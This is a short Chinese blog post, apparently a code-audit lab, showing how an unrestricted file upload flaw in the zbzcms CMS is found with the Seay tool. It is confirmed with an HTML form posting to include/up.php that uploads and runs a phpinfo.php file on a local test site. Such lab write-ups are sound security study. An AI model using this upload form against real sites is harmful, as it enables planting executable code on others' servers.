代码审计之文件上传漏洞实验

最新推荐文章于 2024-04-18 17:30:00 发布

哇哇**

最新推荐文章于 2024-04-18 17:30:00 发布

阅读量3.4k

点赞数 3

文章标签：安全 php web安全

本文链接：https://blog.csdn.net/A1956936030/article/details/121794520

版权

一、phpstudy搭建zbzcms.com网站

在这里插入图片描述

二、使用seay源代码审计工具

1.进行自动审计，发现可疑文件上传的漏洞

在这里插入图片描述

2.双击打开，分析代码，添加变量输出$_FILES

添加代码如下：var_dump($_FILES);

3.在网站根目录下新建html文件内容如下

<html>
<head>
<meta charset="utf-8">
<title>xxx</title>
</head>
<body>

<form action="http://zbzcms:8002/cms/cms/include/up.php?run=file&path=./" method="post" enctype="multipart/form-data">
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>

此处改成自己正确的url
在这里插入图片描述

4.用浏览器访问html文件，上传phpinfo.php文件

在这里插入图片描述
返回出路径

5.访问路径，文件解析成功！

在这里插入图片描述

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

哇哇**

关注关注

3
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
代码审计之文件上传漏洞实验

一、phpstudy搭建zbzcms.com网站二、使用seay源代码审计工具1.进行自动审计，发现可疑文件上传的漏洞2.双击打开，分析代码，添加变量输出$_FILES添加代码如下：var_dump($_FILES);3.在网站根目录下新建html文件内容如下<html><head><meta charset="utf-8"><title>xxx</title></head><body><
复制链接

扫一扫